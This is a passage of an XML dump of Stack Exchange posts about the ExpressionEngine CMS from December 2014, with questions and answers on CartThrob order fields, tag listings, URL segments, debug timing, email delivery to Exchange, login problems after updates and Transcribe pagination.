perfectly)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[{&quot;&quot; : &quot;--&quot;, &quot;data&quot;:&quot;data&quot; , &quot;data&quot;:&quot;data&quot;}]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="433" LastActivityDate="2017-06-13T14:27:03.210" Title="jQuery Chained Select &amp; JSON" Tags="|jquery|variable|json|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27053" PostTypeId="1" CreationDate="2014-12-08T10:54:22.937" Score="0" ViewCount="59" Body="&lt;p&gt;I am using cartthrob&#xA;I have created a custom field called notes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working on a pre authorize hook&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can retrieve the current order details like&#xA;$this-&gt;EE-&gt;cartthrob-&gt;cart-&gt;order('payment_gateway')&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but if i try and retrieve my  custom field data nothing is returned even though the data is stored in the order channel entry after i submit the order   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;when i out put the custom data there is no mention of my custom field&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;custom_data&quot;]=&gt; array(0) { } [&quot;subscription&quot;]=&gt; bool(false) [&quot;subscription_options&quot;]=&gt; array(0) { } [&quot;payment_gateway&quot;]=&gt; string(6) &quot;stripe&quot; [&quot;subscription_id&quot;]=&gt; bool(false)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3018" LastActivityDate="2016-05-22T12:23:46.483" Title="Carthrob Get custom order data field value" Tags="|custom-fields|checkout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27055" PostTypeId="2" ParentId="27052" CreationDate="2014-12-08T14:14:23.580" Score="0" Body="&lt;p&gt;Works now, changing the variable to {get:mark} populates the series drop down. shew!&lt;/p&gt;&#xA;" OwnerUserId="433" LastActivityDate="2014-12-08T14:14:23.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27057" PostTypeId="1" AcceptedAnswerId="27095" CreationDate="2014-12-08T16:24:36.613" Score="0" ViewCount="34" Body="&lt;p&gt;I have tagged products with colors and to display list of those colors I'm using code below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; category_group=&quot;1&quot; category=&quot;not 7|8|9&quot; status=&quot;retail|showroom|open&quot; dynamic=&quot;no&quot; orderby=&quot;title&quot; sort=&quot;asc&quot;}&#xA;{exp:tag:tags entry_id=&quot;{entry_id}&quot; tag_group_name=&quot;Attributes&quot; websafe_separator=&quot;-&quot;}&#xA;{tag}&#xA;&amp;lt;?php $tags['{tag_id}'] = '{tag}'; ?&amp;gt;&#xA;&amp;lt;?php $web_tags['{tag}'] = '{websafe_tag}'; ?&amp;gt;&#xA;{/exp:tag:tags}&#xA;{/exp:channel:entries}&#xA;&#xA;{!-- Sort tags by name ascending --}&#xA;&amp;lt;?php print_r($tags); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and output looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blue ivory lacquer wood wooden black brass chrome lacquer black brass chrome lacquer silver brass chrome white black brass lacquer black brass chrome lacquer black lacquer silver brass glass gold brown wooden black tan beige tan chrome mirror silver steel white black brown gold multicolor black silver black silver multicolor white black silver black gold black white black white black gold white black gold brass leather mahogany red wood wooden black and white acrylic acrylic black glass&#xA;&#xA;Array ( [19] =&amp;gt; blue [14] =&amp;gt; ivory [137] =&amp;gt; lacquer [129] =&amp;gt; wood [23] =&amp;gt; wooden [12] =&amp;gt; black [109] =&amp;gt; brass [111] =&amp;gt; chrome [31] =&amp;gt; silver [33] =&amp;gt; white [76] =&amp;gt; glass [38] =&amp;gt; gold [21] =&amp;gt; brown [47] =&amp;gt; tan [46] =&amp;gt; beige [138] =&amp;gt; mirror [114] =&amp;gt; steel [16] =&amp;gt; multicolor [13] =&amp;gt; leather [157] =&amp;gt; mahogany [6] =&amp;gt; red [166] =&amp;gt; black and white [15] =&amp;gt; acrylic )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but in the tag group &quot;Attributes&quot; I have 57 tags and above displayed not even half of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue what is going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-12-10T15:36:24.653" Title="Solspace Tag: Not all tags from the tag group are listed" Tags="|solspace|solspace-tag|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27058" PostTypeId="2" ParentId="26990" CreationDate="2014-12-08T20:05:19.133" Score="0" Body="&lt;p&gt;Well, that's weird. I refreshed the code and now it works. Ghosts in the machine? Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2014-12-08T20:05:19.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27059" PostTypeId="2" ParentId="27053" CreationDate="2014-12-08T22:22:24.800" Score="0" Body="&lt;p&gt;As I can't comment your question (not enough reputation), I just wanted to remind you that you can use &lt;code&gt;{exp:cartthrob:debug_info}&lt;/code&gt; to display cartthrob debug data to see if your fields are correctly set. &lt;a href=&quot;http://cartthrob.com/docs/tags_detail/debug_info/index.html&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/tags_detail/debug_info/index.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3318" LastActivityDate="2014-12-08T22:22:24.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27061" PostTypeId="2" ParentId="26101" CreationDate="2014-12-09T09:20:44.493" Score="0" Body="&lt;p&gt;Assuming you need an url like this: site.nl/actueel/agenda/2014-11-1/url-title &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;freebie_1: actueel &lt;/li&gt;&#xA;&lt;li&gt;freebie_2: agenda &lt;/li&gt;&#xA;&lt;li&gt;freebie_3: date &lt;/li&gt;&#xA;&lt;li&gt;freebie_4: url title&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You could try to test the freebie segments with a nested switchee:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{freebie_4}&quot; parse=&quot;inward&quot;}&#xA;    {!-- start by checking the last possible segment --}&#xA;      {case value=''}&#xA;        {!-- ok, so freebie_4 is empty, now let's test the other segments&#xA;        {switchee variable=&quot;{freebie_3}&quot;}&#xA;          {case value=''}&#xA;          {!-- Ok, freebie_3 is empty. this should be the agenda overview page--}&#xA;          {/case}&#xA;          {case default=&quot;Yes&quot;}&#xA;            {!-- Ok, freebie_3 is not empty. this should be the month view --}&#xA;          {/case}&#xA;        {/switchee}&#xA;      {/case}&#xA;      {case default=&quot;Yes&quot;}&#xA;      {!-- show the item --}&#xA;        {exp:channel:entries channel=&quot;ch_agenda&quot; limit=&quot;1&quot; dynamic=&quot;no&quot; url_title=&quot;{freebie_4}&quot;}&#xA;          {title}&#xA;        {/exp:channel:entries}&#xA;      {/case}&#xA;    {/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since you are taking this all out of EE/Structure hierarchy, your page_url variable will not work properly anymore. Guess you will have to build the links manually like {site_url}actueel/agenda/date-segment/{url_title}/&lt;/p&gt;&#xA;" OwnerUserId="215" LastEditorUserId="215" LastEditDate="2014-12-09T09:30:40.740" LastActivityDate="2014-12-09T09:30:40.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27062" PostTypeId="1" AcceptedAnswerId="27063" CreationDate="2014-12-09T10:59:49.057" Score="0" ViewCount="43" Body="&lt;p&gt;Where can I see the website processing time, serverside?&#xA;I mean how much time it took to compile the site for delivery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed the ee debug toolbar. But which of this data is it?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Iq4jv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I ask is because I wonder if its worth to cache the relatively small site or if the server processing time is neglectable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2014-12-09T17:23:26.740" Title="Where can I see the website processing time" Tags="|cache|debugging|ee-debug-toolbar|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27063" PostTypeId="2" ParentId="27062" CreationDate="2014-12-09T12:06:35.643" Score="2" Body="&lt;p&gt;the processing time is the &quot;0.9711s&quot; on this image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can add this values to your template, if you want to. The &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#elapsed-time&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;{elapsed_time}&lt;/code&gt;&lt;/a&gt;, the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#total-queries&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;{total_queries}&lt;/code&gt;&lt;/a&gt;, etc are all available as standard global variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I usually add something like this to the footer of every page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in_group_id == 1 OR site_url == &quot;http://dev.domain.com&quot;}&#xA;    &amp;lt;div id=&quot;devbar&quot; style=&quot;position: absolute; top: 0; right: 0; position: fixed; background: #FFE203; color: #000000; padding: 9px; font-family:Helvetica,Arial,sans-serif; font-size:12px; line-height:1.5; z-index: 10000&quot;&amp;gt;&#xA;        Queries: &amp;lt;strong&amp;gt;{total_queries}&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;&#xA;        Elapsed Time: &amp;lt;strong&amp;gt;{elapsed_time}s&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;&#xA;        Memory Used: &amp;lt;strong&amp;gt;{memory_usage}&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;&#xA;        Debug Mode: &amp;lt;strong&amp;gt;{debug_mode}&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;&#xA;        Gzip Mode: &amp;lt;strong&amp;gt;{gzip_mode}&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;&#xA;        App build: &amp;lt;strong&amp;gt;{app_build}&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;&#xA;        App version: &amp;lt;strong&amp;gt;{app_version}&amp;lt;/strong&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The conditional checks for a administrator user or a development domain.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-12-09T12:06:35.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27064" PostTypeId="1" CreationDate="2014-12-09T12:23:28.247" Score="0" ViewCount="55" Body="&lt;p&gt;I want to enable an alert to notify me when stock falls below a certain number. Is this possible in any way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1308" LastActivityDate="2016-06-18T03:44:57.110" Title="Is it possible for an admin alert when stock is low" Tags="|expresso-store|stock|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27065" PostTypeId="1" AcceptedAnswerId="27066" CreationDate="2014-12-09T13:07:51.823" Score="0" ViewCount="241" Body="&lt;p&gt;I've noticed a few problems with Emails not being sent to Exchange addresses via php mail. First I noticed this when using FreeForm. I didn't notice anything out of the ordinary while testing to my gmail account. Forms was successful and I received the emails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then the customer said they hadn't received any emails. So I checked it out and added my own Gmail address to the recipients. And I did receive the emails while testing. But the customer did not. Even though both our addresses were set as recipients. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I narrowed it down to the customer's email being an Exchange address.&#xA;As a temporary solution, I added the customer's gmail address as recipient. And that works. &#xA;And since Freeform stores each submitted form on it's own, I had a record of every form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now we have the same problem on a different site with Expression Engine's own Form. And not freeform. And we have no record of the forms that's been sent. And the customer is not very happy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this mean that we need to stop using php mail in Email settings in Expression Engine? And specify an smtp server by default?&lt;/p&gt;&#xA;" OwnerUserId="2111" LastActivityDate="2014-12-09T13:11:15.017" Title="Email sent via php mail don't reach Exchange addresses" Tags="|solspace-freeform|email|smtp|email-contact-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27066" PostTypeId="2" ParentId="27065" CreationDate="2014-12-09T13:11:15.017" Score="1" Body="&lt;p&gt;safest bet would be to use a service such as sendgrid. Mail sent from hosting servers has a tendency to be either blocked or marked as spam by conservative services such as exchange&lt;/p&gt;&#xA;" OwnerUserId="215" LastActivityDate="2014-12-09T13:11:15.017" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="27067" PostTypeId="2" ParentId="26987" CreationDate="2014-12-09T13:57:56.173" Score="1" Body="&lt;p&gt;Your solution will not perform or scale well. Instead use the native &lt;code&gt;category_archive&lt;/code&gt; tag: &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/category_archive.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/category_archive.html&lt;/a&gt; (though even that suffers from poor performance).&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-12-09T13:57:56.173" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27069" PostTypeId="2" ParentId="27062" CreationDate="2014-12-09T17:23:26.740" Score="0" Body="&lt;p&gt;If you are logged in as Admin, you can simply enable Output Profiler and Template Debugging. This will only appear for the Admin usergroup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To enable this:&lt;/strong&gt;&#xA;Go to Admin &gt; System Administration &gt; Output &amp;amp; Debugging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check Yes to Display Output Profiler, and Display Template Debugging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This also saves writing unnecessary code in your templates.)&lt;/p&gt;&#xA;" OwnerUserId="2282" LastActivityDate="2014-12-09T17:23:26.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27070" PostTypeId="1" CreationDate="2014-12-09T17:25:05.290" Score="0" ViewCount="42" Body="&lt;p&gt;I just updated my EE install to 2.9.2 and cannot log into the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is recognizing my username and password, but I am redirected back to the log-in page. If I enter bogus credentials, it lets me know either the username or password are incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried adding the following to my config file as suggested across StackOverflow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cookie_prefix'] = '';&#xA;$config['cookie_path'] = '';&#xA;$config['cookie_domain'] = '';&#xA;$config['user_session_type'] = 'c';&#xA;$config['admin_session_type'] = 's';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried clearing caches and everything like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The oddest part is, I've tried logging in many times now. Seemingly randomly, it does allow me to log in (maybe 2 times out of 100 attempts), but as soon as I click anything in the CP, i am bumped back out to the log in screen.&lt;/p&gt;&#xA;" OwnerUserId="1862" LastActivityDate="2014-12-10T15:04:04.520" Title="cannot log in to control panel after 2.9.2 update. credentials are being accepted" Tags="|ee2|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27071" PostTypeId="2" ParentId="27064" CreationDate="2014-12-09T17:43:14.100" Score="0" Body="&lt;p&gt;There is nothing out of the box currently that would allow you to do this. Having said that you could use ObjectivHTML's brilliant Post Master add-on to set up a notification when stock is low&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-12-09T17:43:14.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27072" PostTypeId="2" ParentId="26856" CreationDate="2014-12-09T17:55:08.507" Score="0" Body="&lt;p&gt;Alright folks, I've got this figured out. For the sake of a better answered quota I am answering my own question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how ended up doing it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{exp:cartthrob:cart_total prefix=&quot;&quot;}' &amp;gt; 0}&#xA;     {stash:embed name=&quot;snippets:adress-form-a&quot; process=&quot;start&quot;}&#xA;{if:else}&#xA;     {stash:embed name=&quot;snippets:adress-form-b&quot; process=&quot;start&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the stash embeds there are two different {exp:cartthrob:save_customer_info_form} with different redirects. Case solved.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2014-12-09T17:55:08.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27073" PostTypeId="1" CreationDate="2014-12-09T19:01:07.240" Score="1" ViewCount="81" Body="&lt;p&gt;I can't understand how to made URL structure for page For eg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://site.com/template_group/temlate1/template2/template3&quot; rel=&quot;nofollow&quot;&gt;http://site.com/template_group/temlate1/template2/template3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://site.com/services/cleaning/reviews/best&quot; rel=&quot;nofollow&quot;&gt;http://site.com/services/cleaning/reviews/best&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In admin panel, at template group services we have 4 templates&lt;/p&gt;&#xA;&#xA;&lt;p&gt;index cleaning reviews best&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every template have url&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://site.com/services/index/&quot; rel=&quot;nofollow&quot;&gt;http://site.com/services/index/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://site.com/services/cleaning/&quot; rel=&quot;nofollow&quot;&gt;http://site.com/services/cleaning/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://site.com/services/reviews/&quot; rel=&quot;nofollow&quot;&gt;http://site.com/services/reviews/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://site.com/services/best/&quot; rel=&quot;nofollow&quot;&gt;http://site.com/services/best/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to display some templates like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://site.com/services/cleaning/reviews/&quot; rel=&quot;nofollow&quot;&gt;http://site.com/services/cleaning/reviews/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://site.com/services/cleaning/reviews/best/&quot; rel=&quot;nofollow&quot;&gt;http://site.com/services/cleaning/reviews/best/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3683" LastActivityDate="2014-12-20T19:10:13.237" Title="How to make 4 level static template url?" Tags="|ee2|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27074" PostTypeId="1" AcceptedAnswerId="27105" CreationDate="2014-12-09T19:39:12.057" Score="0" ViewCount="132" Body="&lt;p&gt;I've upgraded EE our production and QA environments with no problem (both IIS), but when I tried to upgrade EE on my local environment (WAMP 2.2), I get stuck with this screen after accepting the terms and conditions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/upjD4.png&quot; alt=&quot;blank screen during EE update&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else encounter this? How did you get around this?&lt;/p&gt;&#xA;" OwnerUserId="673" LastEditorUserId="673" LastEditDate="2014-12-10T20:56:28.543" LastActivityDate="2014-12-10T22:37:19.113" Title="Updating to EE 2.9.2 on WAMP, blank screen after terms &amp; conditions" Tags="|update|install|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27075" PostTypeId="1" AcceptedAnswerId="27100" CreationDate="2014-12-09T21:43:55.947" Score="0" ViewCount="94" Body="&lt;p&gt;After moving my site to a staging environment I'm no longer able to view any images within the Assets portion of the CP or upload files to any Assets related fields. I'm also unable to update the indexes within Assets (it just appears to freeze).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've double checked the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;That the Assets and EE cache folder have proper permissions. &lt;/li&gt;&#xA;&lt;li&gt;That the paths are correct in the upload destination's File Upload Preferences.&lt;/li&gt;&#xA;&lt;li&gt;That I'm able to successfully upload to the folder via EE's native File Manager. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I started poking around in the DB and noticed that in the &lt;code&gt;exp_assets_index_data&lt;/code&gt; table all of the &lt;code&gt;uri&lt;/code&gt; fields had the incorrect file path in them (they're all showing the path from my local environment). I ran a &lt;code&gt;REPLACE&lt;/code&gt; query in MySQL and fixed the paths, but still am still experiencing the same issues. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is running EE 2.7.2 (build 20131008) and the latest version of Assets 2.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on what might be happening or tips on how to get things back up and running would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="263" LastEditorUserId="263" LastEditDate="2014-12-09T22:22:04.070" LastActivityDate="2014-12-10T17:58:07.453" Title="P&amp;T Assets not functioning correctly after migrating to new server environment" Tags="|assets|pixelandtonic|file-manager|staging-server|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27076" PostTypeId="2" ParentId="26970" CreationDate="2014-12-09T22:02:41.817" Score="1" Body="&lt;p&gt;We ran the updates on our server and we didn't run into any problems.  It seems EE v2.7.3 is compatible with all of these versions of Redhat, PHP, &amp;amp; MySQL.&lt;/p&gt;&#xA;" OwnerUserId="1711" LastActivityDate="2014-12-09T22:02:41.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27077" PostTypeId="2" ParentId="27075" CreationDate="2014-12-09T23:56:24.993" Score="0" Body="&lt;p&gt;This is not the exact solution but it may help none-the-less.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried Deploy Helper?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will show you all the places a path may be causing havoc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/deeploy-helper&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/deeploy-helper&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.hopstudios.com/software/deeploy_helper/&quot; rel=&quot;nofollow&quot;&gt;http://www.hopstudios.com/software/deeploy_helper/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(You can download it off their website to try before you buy.  This has helped me many times)&lt;/p&gt;&#xA;" OwnerUserId="3866" LastActivityDate="2014-12-09T23:56:24.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27078" PostTypeId="2" ParentId="27073" CreationDate="2014-12-10T00:19:23.433" Score="1" Body="&lt;p&gt;You can only nest one level of templates inside a template group. Therefore, templates generally may only extend to TWO segments into the URL. Any segments that follow (up to 7) are considered SEGMENT VARIABLES. The segment variables will be passed to the template inside the template group in the URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.url.com/template_group/template/segment_3/segment_4/segment_5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(up to 9 segments)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the segments as variables:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.url.com/template_group/template/2014/04/16&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your template you can use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{segment_3} = 2014&#xA;{segment_4} = 04&#xA;{segment_5} = 16&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information, see: &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/url_segments.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/templates/globals/url_segments.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3795" LastEditorUserId="3795" LastEditDate="2014-12-10T00:56:34.030" LastActivityDate="2014-12-10T00:56:34.030" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27079" PostTypeId="1" CreationDate="2014-12-10T01:03:44.067" Score="0" ViewCount="534" Body="&lt;p&gt;I'm using Transcribe and I'm having an issue with pagination on my blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I filter by category the pagination links are also counting entries from my other languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works fine without the category filter, here is the entries tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries&#xA;    channel=&quot;blog&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    paginate=&quot;bottom&quot;&#xA;    limit=&quot;3&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gives me this url: /blog/ and /blog/P3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My tag for listing Category entries is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries&#xA;    channel=&quot;blog&quot;&#xA;    dynamic=&quot;yes&quot;&#xA;    paginate=&quot;bottom&quot;&#xA;    limit=&quot;3&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have had to switch &quot;dynamic&quot; to &quot;yes&quot; so EE can show the correct entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This give me this url: /blog/category/category-name/ and EE displays the correct entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm getting pagination even though there are only 3 entries in this language, clicking the pagination take me to an empty listing as Transcribe knows not to show other language entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remove posts in the other languages from the category the pagination does not show. This confirms to me that the Pagination is counting all entries across all languages, even though the entries themselves are not displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot seem to find a way to display the category entries and get pagination to work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&#xA;Darren &lt;/p&gt;&#xA;" OwnerUserId="3858" LastActivityDate="2014-12-10T01:29:26.147" Title="Pagination not working correctly when using categories and Transcribe" Tags="|categories|pagination|transcribe|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="27080" PostTypeId="1" AcceptedAnswerId="27082" CreationDate="2014-12-10T01:24:18.113" Score="0" ViewCount="26" Body="&lt;p&gt;When expression engine is creating a small file it is putting them in a folder call &quot;thumb&quot;. How do I call that file from a template to render on the finished page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{m_topic_img} calls my full image but how do i customize {small_file_url} from the EE docs to call the correct file? I am using GD2 to generate the thumbs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2014-12-10T02:26:17.717" Title="{small_file_url} calling my thunb" Tags="|templates|thumbnails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27081" PostTypeId="2" ParentId="27079" CreationDate="2014-12-10T01:29:26.147" Score="3" Body="&lt;p&gt;You can fix this if you limit the entries outputted to those in the language you are in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this by adding the 'entry_id' parameter and using a Transcribe tag to output all the entry ids&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The refined channel tags is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot;&#xA;dynamic=&quot;yes&quot;&#xA;paginate=&quot;bottom&quot;&#xA;limit=&quot;3&quot;&#xA;entry_id='{exp:transcribe:entry_ids channel=&quot;blog&quot;}'&#xA;parse=&quot;inward&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3858" LastActivityDate="2014-12-10T01:29:26.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
